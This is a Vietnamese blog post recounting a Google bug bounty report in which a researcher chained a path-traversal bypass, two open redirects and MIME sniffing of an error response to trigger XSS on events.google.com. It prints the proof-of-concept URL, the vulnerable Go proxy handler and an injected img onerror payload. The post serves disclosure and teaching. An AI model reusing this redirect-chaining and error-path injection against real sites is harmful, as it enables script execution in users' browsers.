J2TEAM Security: A must-have extension for Chrome users. Install now!

Kết hợp Open Redirect trong việc khai thác lỗ hổng bảo mật

Tomasz Bojarski, XSS | Chương trình Bug Bounty của Google (VRP) thường xuyên nhận được các báo cáo lỗi có đề cập tới open redirect (chuyển hướng mở).
open-redirects-xss-tomasz
Chương trình Bug Bounty của Google (VRP) thường xuyên nhận được các báo cáo lỗi có đề cập tới open redirect (chuyển hướng mở). Mặc dù bản thân chúng không được xem xét là lỗ hổng bảo mật, chúng tôi nhận ra rằng open redirect có thể được sử dụng để khai thác các lỗ hổng khác như XSS hoặc OAuth Token Disclosure.

Đó chính xác là điều đã xảy ra với một báo cáo lỗ hổng thú vị mới được gửi tới chúng tôi bởi Tomasz Bojarski. Tomasz đến từ một thị trấn nhỏ ở Ba Lan, đã tham gia chương trình bug bounty của chúng tôi vào 2013 và giờ nó như một sự kiện đã thay đổi cuộc đời anh ấy. Tomasz đã khá thành công khi hiện tại đang ở vị trí #1 trong Hall of Fame (bảng vinh danh) của chúng tôi.

Anh ấy không những sử dụng một, mà tới hai lần chuyển hướng để kích hoạt một lỗi XSS trên trang events.google.com.

Báo cáo của Tomasz khá là ngắn gọn:

Hey there :)

Have got a nice XSS for your in events.google.com

Proof of Concept:
https://events.google.com/io2015/api/v1/photoproxy?url=https%3A%2F%2Fpicasaweb.google.com%2fdata%2Ffeed%2Fapi%2F..%2f../../bye/%3fcontinue=https%3A%2F%2Fwww.google.com%2Famp/woops-pocs.appspot.com?xss

Cheers
Tom

Nhấn vào URL sẽ hiện lên một alert từ events.google.com nên chúng ta có thể thấy khá rõ ràng rằng Tomasz đã thực sự tìm thấy một lỗ hổng XSS hợp lệ trên một tên miền không sandbox của Google. Payload được nhúng nhiều lớp URL, một trong số chúng trỏ tới một tên miền bên ngoài: woops-pocs-apppot.com. Việc khai thác bao gồm nhiều bước - chúng ta hãy cùng khám phá chi tiết từng bước:

Bước 1: Photoproxy trong trang web Google I/O 2015


Để khai thác, Tomasz chọn một trang chứa các hình ảnh trong một sự kiện Google I/O trước đây. Những hình ảnh này đã được tải bằng cách sử dụng nguồn cấp dữ liệu Picasa Web Albums XML. Tuy nhiên, nguồn cấp dữ liệu XML như này được lưu trữ từ một tên miền khác (picasaweb.google.com) và không sử dụng header CORS (Same Origin Policy) để ngăn ứng dụng web đọc nó.

Vì vậy, nhóm Google I/O đã sử dụng một cách giải quyết để hiển thị các bức ảnh. Trang web này đã bao gồm một bộ xử lý phía máy chủ /api/v1/photoproxy, nó có thể lấy một URL được truyền vào trong một tham số và proxy phản hồi HTTP. Với cách này, ứng dụng có thể gửi XMLHttpRequest cùng nguồn tới /api/v1/photoproxy?url= để truy cập nguồn cấp dữ liệu. Trang web Google I/O 2015 là mã nguồn mở, vì vậy bạn có thể tự xem điều này đã được triển khai như nào.

Tất nhiên, phục vụ nội dung URL dựa theo tên miền của bạn sẽ ngay lập tức gây ra một lỗi XSS - vì thế, máy chủ thực hiện các kiểm tra sau đây trước khi tiến hành:

url := r.FormValue("url")
if !strings.HasPrefix(url, "https://picasaweb.google.com/data/feed/api") {
    writeJSONError(c, w, http.StatusBadRequest, "url parameter is missing or is an invalid endpoint")
    return
}

Kiểm tra này được thực hiện để đảm bảo rằng chỉ các nguồn cấp dữ liệu Picasa "tin cậy" có thể được proxy. Tuy nhiên, bước kiểm tra có thể bị bypass dễ dàng nếu một endpoint chuyển hướng xuyên tên miền tồn tại trong https://picasaweb.google.com.

Vậy nó tồn tại chứ? Tất nhiên :)

Bước 2: Chuyển hướng từ picasaweb.google.com sang google.com


Tomasz bắt đầu bằng cách chọn một endpoint chuyển hướng đã biết: https://picasaweb.google.com/bye?continue=. Để bypass việc kiểm tra tiền tố, anh ấy đã sử dụng thủ thuật truyền tải đường dẫn đơn giản này: trong khi chuỗi https://picasaweb.google.com/data/feed/api/../../../bye bắt đầu với https://picasaweb.google.com/data/feed/api, thì khi truy vấn tới URL được gửi, URL sẽ trở lại bình thường thành https://picasaweb.google.com/bye. Đó chính xác là điều anh ấy cần.

Nhưng khoan đã - có một hạn chế khác. Chuyển hướng từ giá trị tham số tiếp theo không hoàn toàn mở, vì nó cần để trỏ tới một trong những tên miền của Google (ví dụ: www.google.com). Để nạp được nội dung tùy ý, Tomasz cần phải tìm một open redirect trên www.google.com và kết hợp với nó.

Bước 3: Open redirect trên www.google.com


www.google.com chứa một vài open redirect - và cái mới nhất có liên quan tới AMP:

https://www.google.com/amp/

Kết hợp hai chuyển hướng này tạo ra kết quả là một URL mà bắt đầu từ nguồn Picasa nhưng kết thúc trong một tên miền tùy ý:

https://picasaweb.google.com/data/feed/api/../../../bye/?continue=https%3A%2F%2Fwww.google.com%2Famp/your-domain.example.com/path?querystring

Tại thời điểm này, chúng ta đã sẵn sàng để gửi một truy vấn tới https://events.google.com/api/v1/photoproxy mà sẽ lấy một URL từ một tên miền tùy ý. Vậy, làm thế nào để bạn biến nó thành một lỗi XSS? Chúng ta hãy nhìn vào trình xử lý truy vấn.

func servePhotosProxy(w http.ResponseWriter, r *http.Request) {
  c := newContext(r)
  if r.Method != "GET" {
    writeJSONError(c, w, http.StatusBadRequest, "invalid request method")
    return
  }
  url := r.FormValue("url")
  if !strings.HasPrefix(url, "https://picasaweb.google.com/data/feed/api") {
    writeJSONError(c, w, http.StatusBadRequest, "url parameter is missing or is an invalid endpoint")
    return
  }
  req, err := http.NewRequest("GET", url, nil)
  if err != nil {
    writeJSONError(c, w, errStatus(err), err)
    return
  }

  res, err := httpClient(c).Do(req)
  if err != nil {
    writeJSONError(c, w, errStatus(err), err)
    return
  }

  defer res.Body.Close()
  w.Header().Set("Content-Type", "application/json;charset=utf-8")
  w.WriteHeader(res.StatusCode)
  io.Copy(w, res.Body)
}

Như bạn có thể nhìn thấy từ hàm Go phía trên, máy chủ sẽ cố gắng lấy nội dung từ một URL nhất định và trả lại nội dung phản hồi (io.Copy). Nếu kẻ tấn công có thể khiến trình duyệt biên dịch phản hồi như một tài liệu HTML thì mọi mã JavaScript được chứa ở đó sẽ chạy trong ngữ cảnh thuộc events.google.com - một lỗi XSS đơn giản.

Tuy nhiên, để chặn lỗ hổng sniff MIME, máy chủ chỉ định một Content-Type application/json chặn các trình duyệt hiện đại khỏi việc biên dịch phản hồi như HTML.

Tomasz đã tìm thấy một thủ thuật thông minh để vượt qua sự kiểm soát này. Bạn sẽ nhận thấy rằng header Content-Type chỉ tạo ra khi phản hồi được lấy thành công. Trong trường hợp có một lỗi thì hàm writeJSONError sẽ được gọi thay thế.

Bước 4: XSS thông qua việc xử lý lỗi


Hàm WriteJSONError đặt mã trạng thái 5xx và xuất ra thông điệp lỗi trong một đối tượng JSON. Nhưng bởi vì hàm không thiết lập một header Content-Type, sniff MIME sẽ xảy ra. Nói tóm lại, khi nhận được một phản hồi HTTP không thuộc loại nào thì một trình duyệt sẽ cố gắng để nhận diện một đoạn HTML và nếu nó tìm thấy, nó sẽ biên dịch phản hồi như một tài liệu HTML, cho phép XSS xảy ra.

Để kích hoạt XSS trên events.google.com, Tomasz cần phải chắc chắn rằng thông báo lỗi xuất ra có chứa mã HTML, điều mà hóa ra khá dễ để thực hiện:

open-redirect-xss

Khi Photoproxy tiếp cận tới ứng dụng web của Tomasz, anh ấy chuyển hướng client HTTP tới một URL không hợp lệ chứa mã HTML, kích hoạt một lỗi trong client HTTP của Go. Điều này khiến endpoint Photoproxy xuất ra đoạn JSON sau đây:

{"error": "Get http://woops-pocs.appspot.com: failed to parse Location header \"//><img src=x onerror='alert(document.domain)'\": parse //><img src=x onerror='alert(document.domain)': invalid character \" \" in host name"}

Các trình duyệt biên dịch đoạn JSON này như là HTML và thực thi đoạn mã JavaScript được nhúng, kích hoạt lỗi XSS:

open-redirect-xss

Tốt lắm, Tomasz!

Leader at J2TEAM. Website: https://j2team.dev/